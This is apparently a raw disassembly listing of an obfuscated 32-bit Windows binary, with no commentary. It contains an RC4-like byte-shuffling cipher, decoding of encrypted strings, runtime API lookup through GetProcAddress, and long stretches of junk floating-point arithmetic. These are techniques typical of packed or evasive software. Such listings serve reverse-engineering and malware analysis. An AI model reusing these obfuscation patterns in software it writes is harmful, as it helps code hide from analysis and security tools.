lea esi, [ebp - 0x2018]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3328]
shl ecx, 0
lea esi, [ebp - 0x2018]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x3290], al
mov al, byte [ebp - 0x3329]
mov byte [ebp - 0x32d6], al
mov cl, byte [ebp - 0x3290]
mov byte [ebp - 0x345e], cl
cmp dword [ebp - 0x33e8], 0
jbe 0x48902a
mov edx, dword [ebp - 0x33e8]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x1708]
mov cl, byte [ebp - 0x345e]
mov byte [edx + eax], cl
jmp 0x488d57
mov edx, dword [ebp - 0x3748]
add edx, 1
mov dword [ebp - 0x3748], edx
mov eax, dword [ebp - 0x33e8]
add eax, 1
mov dword [ebp - 0x33e8], eax
mov ecx, dword [ebp - 0x3748]
add ecx, 1
mov dword [ebp - 0x3748], ecx
mov edx, dword [ebp - 0x33e8]
shl edx, 1
mov dword [ebp - 0x3e04], edx
mov eax, dword [ebp - 0x3e04]
shl eax, 0
add eax, dword [ebp - 0x3f38]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c50], ecx
mov dword [ebp - 0x3c4c], 0x44
mov edx, dword [ebp - 0x33e8]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3e08], edx
mov eax, dword [ebp - 0x3e08]
shl eax, 0
add eax, dword [ebp - 0x3f38]
movzx ecx, byte [eax]
mov dword [ebp - 0x3c48], ecx
mov dword [ebp - 0x3c44], 0x7a
mov edx, dword [ebp - 0x3c50]
sub edx, dword [ebp - 0x3c4c]
mov dword [ebp - 0x3c40], edx
mov eax, dword [ebp - 0x3c48]
sub eax, dword [ebp - 0x3c44]
mov dword [ebp - 0x3c3c], eax
mov ecx, dword [ebp - 0x3c40]
shl ecx, 4
mov dword [ebp - 0x3e0c], ecx
mov edx, dword [ebp - 0x3c3c]
mov dword [ebp - 0x3e10], edx
mov eax, dword [ebp - 0x3e0c]
or eax, dword [ebp - 0x3e10]
mov dword [ebp - 0x3e14], eax
mov cl, byte [ebp - 0x3e14]
mov byte [ebp - 0x3329], cl
movzx edx, byte [ebp - 0x32d6]
shl edx, 0
lea eax, [ebp - 0x2018]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3326], cl
movzx edx, byte [ebp - 0x325d]
shl edx, 0
lea eax, [ebp - 0x2018]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x328f]
add edx, ecx
mov byte [ebp - 0x328f], dl
mov al, byte [ebp - 0x325d]
add al, 1
mov byte [ebp - 0x325d], al
movzx ecx, byte [ebp - 0x328f]
shl ecx, 0
lea edx, [ebp - 0x2018]
movzx eax, byte [ebp - 0x32d6]
shl eax, 0
lea esi, [ebp - 0x2018]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3290]
shl edx, 0
lea eax, [ebp - 0x2018]
movzx ecx, byte [ebp - 0x328f]
shl ecx, 0
lea esi, [ebp - 0x2018]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x325d]
shl eax, 0
lea ecx, [ebp - 0x2018]
movzx edx, byte [ebp - 0x3290]
shl edx, 0
lea esi, [ebp - 0x2018]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x325d]
shl ecx, 0
lea edx, [ebp - 0x2018]
mov al, byte [ebp - 0x3326]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x3326]
shl ecx, 0
lea edx, [ebp - 0x2018]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3328]
add ecx, eax
mov byte [ebp - 0x3328], cl
movzx edx, byte [ebp - 0x3329]
movzx eax, byte [ebp - 0x328f]
shl eax, 0
lea ecx, [ebp - 0x2018]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x325d]
shl ecx, 0
lea esi, [ebp - 0x2018]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x2018]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x3290]
shl ecx, 0
lea eax, [ebp - 0x2018]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x32d6]
shl eax, 0
lea esi, [ebp - 0x2018]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x3328]
shl eax, 0
lea esi, [ebp - 0x2018]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x2018]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x2018]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x3290], dl
mov dl, byte [ebp - 0x3329]
mov byte [ebp - 0x32d6], dl
mov al, byte [ebp - 0x3290]
mov byte [ebp - 0x345e], al
cmp dword [ebp - 0x33e8], 0
jbe 0x4892fd
mov ecx, dword [ebp - 0x33e8]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x1708]
mov al, byte [ebp - 0x345e]
mov byte [ecx + edx], al
mov ecx, 1
shl ecx, 4
mov dword [ebp - 0x5dcc], ecx
cmp dword [ebp - 0x5dcc], 0x11
jae 0x489316
jmp 0x48931b
call fcn.009b1617
lea edx, [ebp - 0x1708]
add edx, dword [ebp - 0x5dcc]
mov byte [edx], 0
jmp 0x48937d
mov dword [ebp - 0x33e8], 0
jmp 0x489347
mov eax, dword [ebp - 0x33e8]
add eax, 1
mov dword [ebp - 0x33e8], eax
cmp dword [ebp - 0x33e8], 0x11
jae 0x48937d
mov ecx, dword [ebp - 0x33e8]
mov dword [ebp - 0x5dc8], ecx
cmp dword [ebp - 0x5dc8], 0x11
jae 0x489367
jmp 0x48936c
call fcn.009b1617
lea edx, [ebp - 0x1708]
add edx, dword [ebp - 0x5dc8]
mov byte [edx], 0
jmp 0x489338
lea eax, [ebp - 0x1708]
push eax
mov ecx, dword [ebp - 0x348c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0xa00bc0], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x5394], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5124], xmm0
mov dword [ebp - 0x33ec], 0
mov dword [ebp - 0x4aa8], 0
mov dword [ebp - 0x5840], 0
mov dword [ebp - 0x561c], 1
mov dword [ebp - 0x4660], 0
mov dword [ebp - 0x5b58], 0
mov dword [ebp - 0x374c], 0
mov dword [ebp - 0x3e1c], 0
mov dword [ebp - 0x3c38], 0
mov dword [ebp - 0x3c1c], 0
mov dword [ebp - 0x3e20], 0
mov dword [ebp - 0x3c84], 0
mov dword [ebp - 0x3cb8], 0
mov dword [ebp - 0x3cbc], 0
mov dword [ebp - 0x3cc0], 0
mov dword [ebp - 0x3e24], 0
mov dword [ebp - 0x3e28], 0
mov dword [ebp - 0x3e2c], 0
mov dword [ebp - 0x4ab4], 0
mov byte [ebp - 0x325c], 0
mov byte [ebp - 0x3291], 0
mov byte [ebp - 0x332b], 0
mov byte [ebp - 0x3292], 0
mov byte [ebp - 0x32d7], 0
mov byte [ebp - 0x3403], 0
mov byte [ebp - 0x3da6], 0
mov byte [ebp - 0x332d], 0
mov byte [ebp - 0x332a], 0
mov byte [ebp - 0x345d], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x5394], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5124], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5124], xmm0
jmp 0x4894eb
movsd xmm0, qword [ebp - 0x5124]
addsd xmm0, qword [0x9d05a8]
movsd qword [ebp - 0x5124], xmm0
movsd xmm0, qword [0x9d5018]
comisd xmm0, xmmword [ebp - 0x5124]
jbe 0x48959c
movsd xmm0, qword [0x9d3d70]
mulsd xmm0, qword [ebp - 0x5124]
mulsd xmm0, qword [ebp - 0x5124]
movsd xmm1, qword [ebp - 0x5124]
mulsd xmm1, qword [ebp - 0x5124]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d3998]
mulsd xmm1, qword [ebp - 0x5124]
mulsd xmm1, qword [ebp - 0x5124]
addsd xmm1, qword [0x9d3ab0]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x5394]
movsd qword [ebp - 0x5394], xmm0
movsd xmm0, qword [ebp - 0x5394]
comisd xmm0, xmmword [0x9d3c28]
jbe 0x489597
movsd xmm0, qword [0x9d3808]
mulsd xmm0, qword [ebp - 0x5124]
movsd xmm1, qword [ebp - 0x5394]
subsd xmm1, xmm0
movsd qword [ebp - 0x5394], xmm1
jmp 0x4894d3
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x5394]
jbe 0x4895e3
sub dword [edi + 0x53], ebx
bound esi, qword [esi + 0x4f]
and dword [ebp + ebp + 0x79], esi
push edx
pop eax
jge 0x48960b
and al, 0x7c
dec edx
push ecx
push ebx
jns 0x489621
dec ebp
sub byte [edi - 0x6ede5fe7], dl
sbb eax, 0x17931695
xchg ecx, eax
and byte [ebx - 0x6eec63e2], bl
and byte [eax + 0x1c981496], dl
sahf
sbb ebx, dword [eax + 0x2288e920]
add byte [eax], al
mov dword [ebp - 0x61ac], 0x4895c2
mov dword [ebp - 0x61a8], 0x4895a9
movss xmm0, dword [0x9d54cc]
movss dword [ebp - 0x4064], xmm0
movss xmm0, dword [0x9d53ac]
movss dword [ebp - 0x4d6c], xmm0
lodsb al, byte [esi]
push ebx
popfd
add bl, dh
movups xmmword [ebp - 0x4d6c], xmm0
movss xmm0, dword [0x9d36a0]
movss dword [ebp - 0x465c], xmm0
adc dword [ebp - 0x465c], eax
movss xmm0, dword [0x9d517c]
movss dword [ebp - 0x5620], xmm0
movss xmm0, dword [0x9d5050]
movss dword [ebp - 0x41c4], xmm0
movss xmm0, dword [ebp - 0x465c]
mulss xmm0, dword [ebp - 0x41c4]
movss dword [ebp - 0x465c], xmm0
movss xmm0, dword [ebp - 0x5620]
subss xmm0, dword [ebp - 0x41c4]
movss dword [ebp - 0x5620], xmm0
movss xmm0, dword [ebp - 0x465c]
addss xmm0, dword [ebp - 0x41c4]
movss dword [ebp - 0x465c], xmm0
movss xmm0, dword [ebp - 0x4064]
addss xmm0, dword [ebp - 0x41c4]
movss dword [ebp - 0x4064], xmm0
movss xmm0, dword [ebp - 0x4064]
mulss xmm0, dword [ebp - 0x41c4]
movss dword [ebp - 0x4064], xmm0
movss xmm0, dword [ebp - 0x5620]
comiss xmm0, dword [ebp - 0x4064]
jbe 0x48974d
movss xmm0, dword [ebp - 0x4064]
divss xmm0, dword [ebp - 0x465c]
movss dword [ebp - 0x4064], xmm0
movss xmm0, dword [ebp - 0x41c4]
divss xmm0, dword [ebp - 0x4d6c]
movss dword [ebp - 0x41c4], xmm0
movss xmm0, dword [ebp - 0x4064]
subss xmm0, dword [ebp - 0x465c]
movss dword [ebp - 0x4064], xmm0
movss xmm0, dword [ebp - 0x4d6c]
subss xmm0, dword [ebp - 0x5620]
movss dword [ebp - 0x4d6c], xmm0
movss xmm0, dword [ebp - 0x41c4]
divss xmm0, dword [ebp - 0x4d6c]
movss dword [ebp - 0x41c4], xmm0
jmp 0x4897d1
movss xmm0, dword [ebp - 0x4d6c]
addss xmm0, dword [ebp - 0x5620]
movss dword [ebp - 0x4d6c], xmm0
mov edx, dword [ebp - 0x61ac]
mov dword [ebp - 0x3f44], edx
movss xmm0, dword [ebp - 0x465c]
subss xmm0, dword [ebp - 0x41c4]
movss dword [ebp - 0x465c], xmm0
movss xmm0, dword [ebp - 0x4064]
mulss xmm0, dword [ebp - 0x465c]
movss dword [ebp - 0x4064], xmm0
movss xmm0, dword [ebp - 0x4064]
mulss xmm0, dword [ebp - 0x465c]
movss dword [ebp - 0x4064], xmm0
movss xmm0, dword [ebp - 0x41c4]
subss xmm0, dword [ebp - 0x4d6c]
movss dword [ebp - 0x41c4], xmm0
mov eax, dword [ebp - 0x61a8]
mov dword [ebp - 0x61a4], eax
mov byte [ebp - 0x3da6], 0x1d
mov dword [ebp - 0x33ec], 0
movsd xmm0, qword [0x9d4d60]
movsd qword [ebp - 0x4550], xmm0
movsd xmm0, qword [0x9d4960]
movsd qword [ebp - 0x4ccc], xmm0
movsd xmm0, qword [0x9d4330]
movsd qword [ebp - 0x4548], xmm0
movsd xmm0, qword [ebp - 0x4ccc]
subsd xmm0, qword [ebp - 0x4548]
movsd qword [ebp - 0x4ccc], xmm0
movsd xmm0, qword [ebp - 0x4550]
addsd xmm0, qword [ebp - 0x4548]
movsd qword [ebp - 0x4550], xmm0
movsd xmm0, qword [ebp - 0x4550]
addsd xmm0, qword [ebp - 0x4548]
movsd qword [ebp - 0x4550], xmm0
movsd xmm0, qword [ebp - 0x4ccc]
comisd xmm0, xmmword [ebp - 0x4550]
jbe 0x4899b2
movsd xmm0, qword [ebp - 0x4ccc]
divsd xmm0, qword [ebp - 0x4550]
movsd qword [ebp - 0x4ccc], xmm0
movsd xmm0, qword [ebp - 0x4548]
subsd xmm0, qword [ebp - 0x4ccc]
movsd qword [ebp - 0x4548], xmm0
movsd xmm0, qword [ebp - 0x4550]
mulsd xmm0, qword [ebp - 0x4548]
movsd qword [ebp - 0x4550], xmm0
movsd xmm0, qword [ebp - 0x4550]
mulsd xmm0, qword [ebp - 0x4ccc]
movsd qword [ebp - 0x4550], xmm0
movsd xmm0, qword [ebp - 0x4548]
divsd xmm0, qword [ebp - 0x4550]
movsd qword [ebp - 0x4548], xmm0
movsd xmm0, qword [ebp - 0x4548]
mulsd xmm0, qword [ebp - 0x4550]
movsd qword [ebp - 0x4548], xmm0
movsd xmm0, qword [ebp - 0x4550]
comisd xmm0, xmmword [ebp - 0x4ccc]
jbe 0x489968
movsd xmm0, qword [ebp - 0x4548]
subsd xmm0, qword [ebp - 0x4ccc]
movsd qword [ebp - 0x4548], xmm0
movsd xmm0, qword [ebp - 0x4548]
addsd xmm0, qword [ebp - 0x4ccc]
movsd qword [ebp - 0x4548], xmm0
movsd xmm0, qword [ebp - 0x4550]
subsd xmm0, qword [ebp - 0x4548]
movsd qword [ebp - 0x4550], xmm0
jmp 0x4899b0
movsd xmm0, qword [ebp - 0x4548]
subsd xmm0, qword [ebp - 0x4550]
movsd qword [ebp - 0x4548], xmm0
movsd xmm0, qword [ebp - 0x4550]
addsd xmm0, qword [ebp - 0x4ccc]
movsd qword [ebp - 0x4550], xmm0
movsd xmm0, qword [ebp - 0x4ccc]
subsd xmm0, qword [ebp - 0x4548]
movsd qword [ebp - 0x4ccc], xmm0
jmp 0x489a04
movsd xmm0, qword [ebp - 0x4548]
mulsd xmm0, qword [ebp - 0x4ccc]
movsd qword [ebp - 0x4548], xmm0
mov dword [ebp - 0x4aa8], 0
movsd xmm0, qword [ebp - 0x4ccc]
subsd xmm0, qword [ebp - 0x4550]
movsd qword [ebp - 0x4ccc], xmm0
movsd xmm0, qword [ebp - 0x4550]
subsd xmm0, qword [ebp - 0x4548]
movsd qword [ebp - 0x4550], xmm0
mov dword [ebp - 0x33ec], 0
jmp 0x489a1f
mov ecx, dword [ebp - 0x33ec]
add ecx, 1
mov dword [ebp - 0x33ec], ecx
cmp dword [ebp - 0x33ec], 0x100
jae 0x489a45
mov edx, dword [ebp - 0x33ec]
shl edx, 0
lea eax, [ebp - 0x1f18]
mov cl, byte [ebp - 0x33ec]
mov byte [edx + eax], cl
jmp 0x489a10
mov dword [ebp - 0x4aa8], 0
mov byte [ebp - 0x3403], 0
mov dword [ebp - 0x33ec], 0xff
jmp 0x489a71
mov edx, dword [ebp - 0x33ec]
sub edx, 1
mov dword [ebp - 0x33ec], edx
cmp dword [ebp - 0x33ec], 0
jbe 0x489f05
mov dword [ebp - 0x5840], 0
mov dword [ebp - 0x561c], 1
mov dword [ebp - 0x4660], 0
mov eax, dword [ebp - 0x561c]
cmp eax, dword [ebp - 0x33ec]
jae 0x489abd
mov ecx, dword [ebp - 0x561c]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x561c], ecx
jmp 0x489a9c
mov edx, dword [ebp - 0x4aa8]
mov dword [ebp - 0x5dc4], edx
cmp dword [ebp - 0x5dc4], 3
ja case.default.0x489adc
mov eax, dword [ebp - 0x5dc4]
jmp dword [eax*4 + 0x4de84c]
movzx ecx, byte [ebp - 0x3403]
shl ecx, 0
lea edx, [ebp - 0x1f18]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x5394]
call fcn.009b1700
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3403], bl
jmp 0x489be3
movzx eax, byte [ebp - 0x3403]
shl eax, 0
lea ecx, [ebp - 0x1f18]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x5394]
call fcn.009b1700
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3403], bl
jmp 0x489be3
movzx edx, byte [ebp - 0x3403]
shl edx, 0
lea eax, [ebp - 0x1f18]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x5394]
call fcn.009b1700
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3403], bl
jmp 0x489be3
movzx ecx, byte [ebp - 0x3403]
shl ecx, 0
lea edx, [ebp - 0x1f18]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x5394]
call fcn.009b1700
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3403], bl
jmp 0x489be3
movzx eax, byte [ebp - 0x3403]
shl eax, 0
lea ecx, [ebp - 0x1f18]
movzx edx, byte [eax + ecx]
mov eax, dword [ebp - 0x4aa8]
sub eax, 4
shl eax, 0
add eax, dword [ebp - 0x61a4]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x3403], dl
mov edx, dword [ebp - 0x4aa8]
add edx, 1
mov dword [ebp - 0x4aa8], edx
movzx eax, byte [ebp - 0x3da6]
cmp dword [ebp - 0x4aa8], eax
jb 0x489c21
mov dword [ebp - 0x4aa8], 0
movzx ecx, byte [ebp - 0x3da6]
movzx edx, byte [ebp - 0x3403]
add edx, ecx
mov byte [ebp - 0x3403], dl
movzx eax, byte [ebp - 0x3403]
and eax, dword [ebp - 0x561c]
mov dword [ebp - 0x4660], eax
mov ecx, dword [ebp - 0x5840]
add ecx, 1
mov dword [ebp - 0x5840], ecx
cmp dword [ebp - 0x5840], 0xb
jbe 0x489c60
mov eax, dword [ebp - 0x4660]
xor edx, edx
div dword [ebp - 0x33ec]
mov dword [ebp - 0x4660], edx
mov edx, dword [ebp - 0x4660]
cmp edx, dword [ebp - 0x33ec]
ja 0x489abd
mov eax, dword [ebp - 0x33ec]
cmp eax, dword [ebp - 0x4660]
je 0x489f00
mov ecx, dword [ebp - 0x33ec]
shl ecx, 0
lea edx, [ebp - 0x1f18]
mov eax, dword [ebp - 0x4660]
shl eax, 0
lea esi, [ebp - 0x1f18]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x33ec]
shl edx, 0
lea eax, [ebp - 0x1f18]
mov byte [edx + eax], cl
mov ecx, dword [ebp - 0x4660]
shl ecx, 0
lea edx, [ebp - 0x1f18]
mov eax, dword [ebp - 0x33ec]
shl eax, 0
lea esi, [ebp - 0x1f18]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x4660]
shl edx, 0
lea eax, [ebp - 0x1f18]
mov byte [edx + eax], cl
movss xmm0, dword [0x9d566c]
movss dword [ebp - 0x3f3c], xmm0
movss xmm0, dword [0x9d551c]
movss dword [ebp - 0x4ab0], xmm0
movss xmm0, dword [0x9d53a8]
movss dword [ebp - 0x5dc0], xmm0
movss xmm0, dword [0x9d5244]
movss dword [ebp - 0x4aac], xmm0
movss xmm0, dword [0x9d50c8]
movss dword [ebp - 0x3e18], xmm0
movss xmm0, dword [ebp - 0x3f3c]
subss xmm0, dword [ebp - 0x3e18]
movss dword [ebp - 0x3f3c], xmm0
movss xmm0, dword [ebp - 0x4ab0]
mulss xmm0, dword [ebp - 0x3e18]
movss dword [ebp - 0x4ab0], xmm0
movss xmm0, dword [ebp - 0x3f3c]
addss xmm0, dword [ebp - 0x3e18]
movss dword [ebp - 0x3f3c], xmm0
movss xmm0, dword [ebp - 0x3f3c]
subss xmm0, dword [ebp - 0x3e18]
movss dword [ebp - 0x3f3c], xmm0
movss xmm0, dword [ebp - 0x3f3c]
addss xmm0, dword [ebp - 0x3e18]
movss dword [ebp - 0x3f3c], xmm0
movss xmm0, dword [ebp - 0x3e18]
comiss xmm0, dword [ebp - 0x4ab0]
jbe 0x489e4e
movss xmm0, dword [ebp - 0x4aac]
divss xmm0, dword [ebp - 0x3f3c]
movss dword [ebp - 0x4aac], xmm0
movss xmm0, dword [ebp - 0x3e18]
subss xmm0, dword [ebp - 0x4ab0]
movss dword [ebp - 0x3e18], xmm0
movss xmm0, dword [ebp - 0x3e18]
subss xmm0, dword [ebp - 0x4ab0]
movss dword [ebp - 0x3e18], xmm0
movss xmm0, dword [ebp - 0x4aac]
addss xmm0, dword [ebp - 0x3f3c]
movss dword [ebp - 0x4aac], xmm0
movss xmm0, dword [ebp - 0x4ab0]
addss xmm0, dword [ebp - 0x4aac]
movss dword [ebp - 0x4ab0], xmm0
jmp 0x489f00
movss xmm0, dword [ebp - 0x3e18]
mulss xmm0, dword [ebp - 0x3f3c]
movss dword [ebp - 0x3e18], xmm0
mov ecx, dword [ebp - 0x33ec]
shl ecx, 0
lea edx, [ebp - 0x1f18]
mov eax, dword [ebp - 0x4660]
shl eax, 0
lea esi, [ebp - 0x1f18]
movzx eax, byte [eax + esi]
movzx ecx, byte [ecx + edx]
xor ecx, eax
mov edx, dword [ebp - 0x33ec]
shl edx, 0
lea eax, [ebp - 0x1f18]
mov byte [edx + eax], cl
movss xmm0, dword [ebp - 0x5dc0]
subss xmm0, dword [ebp - 0x4aac]
movss dword [ebp - 0x5dc0], xmm0
movss xmm0, dword [ebp - 0x4aac]
subss xmm0, dword [ebp - 0x3e18]
movss dword [ebp - 0x4aac], xmm0
movss xmm0, dword [ebp - 0x3e18]
mulss xmm0, dword [ebp - 0x3f3c]
movss dword [ebp - 0x3e18], xmm0
movss xmm0, dword [ebp - 0x3f3c]
mulss xmm0, dword [ebp - 0x4ab0]
movss dword [ebp - 0x3f3c], xmm0
jmp 0x489a62
mov ecx, 1
shl ecx, 0
lea edx, [ebp - 0x1f18]
mov al, byte [ecx + edx]
mov byte [ebp - 0x325c], al
mov ecx, 1
imul edx, ecx, 3
lea eax, [ebp - 0x1f18]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3291], cl
mov edx, 1
imul eax, edx, 5
lea ecx, [ebp - 0x1f18]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x332b], dl
mov eax, 1
imul ecx, eax, 7
lea edx, [ebp - 0x1f18]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3292], al
movzx ecx, byte [ebp - 0x3403]
shl ecx, 0
lea edx, [ebp - 0x1f18]
mov al, byte [ecx + edx]
mov byte [ebp - 0x32d7], al
mov dword [ebp - 0x5b58], 0x1c
cmp dword [ebp - 0x5b58], 2
jle 0x48b81a
mov ecx, dword [ebp - 0x5b58]
and ecx, 1
jne 0x48b81a
mov dword [ebp - 0x33ec], 0
mov dword [ebp - 0x374c], 0
mov edx, dword [ebp - 0x374c]
add edx, 1
mov dword [ebp - 0x374c], edx
mov dword [ebp - 0x3e1c], 0
mov eax, dword [ebp - 0x33ec]
shl eax, 1
mov dword [ebp - 0x3e1c], eax
mov dword [ebp - 0x3c38], 0
mov ecx, dword [ebp - 0x3e1c]
shl ecx, 0
add ecx, dword [ebp - 0x3f44]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3c38]
mov dword [ebp - 0x3c38], edx
mov dword [ebp - 0x3c1c], 0
mov eax, dword [ebp - 0x3c1c]
add eax, 0x91
mov dword [ebp - 0x3c1c], eax
mov dword [ebp - 0x3e20], 0
mov ecx, dword [ebp - 0x33ec]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3e20], ecx
mov dword [ebp - 0x3c84], 0
mov edx, dword [ebp - 0x3e20]
shl edx, 0
add edx, dword [ebp - 0x3f44]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3c84]
mov dword [ebp - 0x3c84], eax
mov dword [ebp - 0x3cb8], 0
mov ecx, dword [ebp - 0x3cb8]
add ecx, 0x13
mov dword [ebp - 0x3cb8], ecx
movsd xmm0, qword [0x9d4920]
movsd qword [ebp - 0x5c40], xmm0
movsd xmm0, qword [0x9d46d0]
movsd qword [ebp - 0x5c48], xmm0
movsd xmm0, qword [0x9d4458]
movsd qword [ebp - 0x5f1c], xmm0
movsd xmm0, qword [0x9d41f8]
movsd qword [ebp - 0x4cfc], xmm0
movsd xmm0, qword [0x9d3f48]
movsd qword [ebp - 0x4f84], xmm0
movsd xmm0, qword [ebp - 0x5f1c]
subsd xmm0, qword [ebp - 0x4f84]
movsd qword [ebp - 0x5f1c], xmm0
movsd xmm0, qword [ebp - 0x4cfc]
mulsd xmm0, qword [ebp - 0x4f84]
movsd qword [ebp - 0x4cfc], xmm0
movsd xmm0, qword [ebp - 0x5c48]
addsd xmm0, qword [ebp - 0x4f84]
movsd qword [ebp - 0x5c48], xmm0
movsd xmm0, qword [ebp - 0x4cfc]
mulsd xmm0, qword [ebp - 0x4f84]
movsd qword [ebp - 0x4cfc], xmm0
movsd xmm0, qword [ebp - 0x5c40]
mulsd xmm0, qword [ebp - 0x4f84]
movsd qword [ebp - 0x5c40], xmm0
movsd xmm0, qword [ebp - 0x4cfc]
comisd xmm0, xmmword [ebp - 0x4f84]
jbe 0x48a1dc
mov dword [ebp - 0x3cbc], 0
movsd xmm0, qword [ebp - 0x5c48]
subsd xmm0, qword [ebp - 0x5f1c]
movsd qword [ebp - 0x5c48], xmm0
movsd xmm0, qword [ebp - 0x4cfc]
addsd xmm0, qword [ebp - 0x4f84]
movsd qword [ebp - 0x4cfc], xmm0
movsd xmm0, qword [ebp - 0x4cfc]
subsd xmm0, qword [ebp - 0x4f84]
movsd qword [ebp - 0x4cfc], xmm0
movsd xmm0, qword [ebp - 0x4f84]
subsd xmm0, qword [ebp - 0x5c40]
movsd qword [ebp - 0x4f84], xmm0
movsd xmm0, qword [ebp - 0x5f1c]
addsd xmm0, qword [ebp - 0x4cfc]
movsd qword [ebp - 0x5f1c], xmm0
jmp 0x48a254
movsd xmm0, qword [ebp - 0x4cfc]
subsd xmm0, qword [ebp - 0x5c40]
movsd qword [ebp - 0x4cfc], xmm0
movsd xmm0, qword [ebp - 0x4cfc]
addsd xmm0, qword [ebp - 0x5c40]
movsd qword [ebp - 0x4cfc], xmm0
movsd xmm0, qword [ebp - 0x4f84]
addsd xmm0, qword [ebp - 0x5c48]
movsd qword [ebp - 0x4f84], xmm0
movsd xmm0, qword [ebp - 0x4cfc]
addsd xmm0, qword [ebp - 0x5c40]
movsd qword [ebp - 0x4cfc], xmm0
movsd xmm0, qword [ebp - 0x4f84]
mulsd xmm0, qword [ebp - 0x5c48]
movsd qword [ebp - 0x4f84], xmm0
mov edx, dword [ebp - 0x3c38]
sub edx, dword [ebp - 0x3c1c]
add edx, dword [ebp - 0x3cbc]
mov dword [ebp - 0x3cbc], edx
mov dword [ebp - 0x3cc0], 0
mov eax, dword [ebp - 0x3c84]
sub eax, dword [ebp - 0x3cb8]
add eax, dword [ebp - 0x3cc0]
mov dword [ebp - 0x3cc0], eax
mov dword [ebp - 0x3e24], 0
mov ecx, dword [ebp - 0x3cbc]
shl ecx, 4
mov dword [ebp - 0x3e24], ecx
mov dword [ebp - 0x3e28], 0
mov edx, dword [ebp - 0x3cc0]
mov dword [ebp - 0x3e28], edx
mov dword [ebp - 0x3e2c], 0
mov eax, dword [ebp - 0x3e24]
or eax, dword [ebp - 0x3e28]
mov dword [ebp - 0x3e2c], eax
mov byte [ebp - 0x332d], 0
mov cl, byte [ebp - 0x3e2c]
mov byte [ebp - 0x332d], cl
mov byte [ebp - 0x332a], 0
movzx edx, byte [ebp - 0x32d7]
shl edx, 0
lea eax, [ebp - 0x1f18]
mov cl, byte [edx + eax]
mov byte [ebp - 0x332a], cl
movzx edx, byte [ebp - 0x325c]
shl edx, 0
lea eax, [ebp - 0x1f18]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3291]
add edx, ecx
mov byte [ebp - 0x3291], dl
mov al, byte [ebp - 0x325c]
add al, 1
mov byte [ebp - 0x325c], al
movzx ecx, byte [ebp - 0x3291]
shl ecx, 0
lea edx, [ebp - 0x1f18]
movzx eax, byte [ebp - 0x32d7]
shl eax, 0
lea esi, [ebp - 0x1f18]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3292]
shl edx, 0
lea eax, [ebp - 0x1f18]
movzx ecx, byte [ebp - 0x3291]
shl ecx, 0
lea esi, [ebp - 0x1f18]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x325c]
shl eax, 0
lea ecx, [ebp - 0x1f18]
movzx edx, byte [ebp - 0x3292]
shl edx, 0
lea esi, [ebp - 0x1f18]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x325c]
shl ecx, 0
lea edx, [ebp - 0x1f18]
mov al, byte [ebp - 0x332a]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x332a]
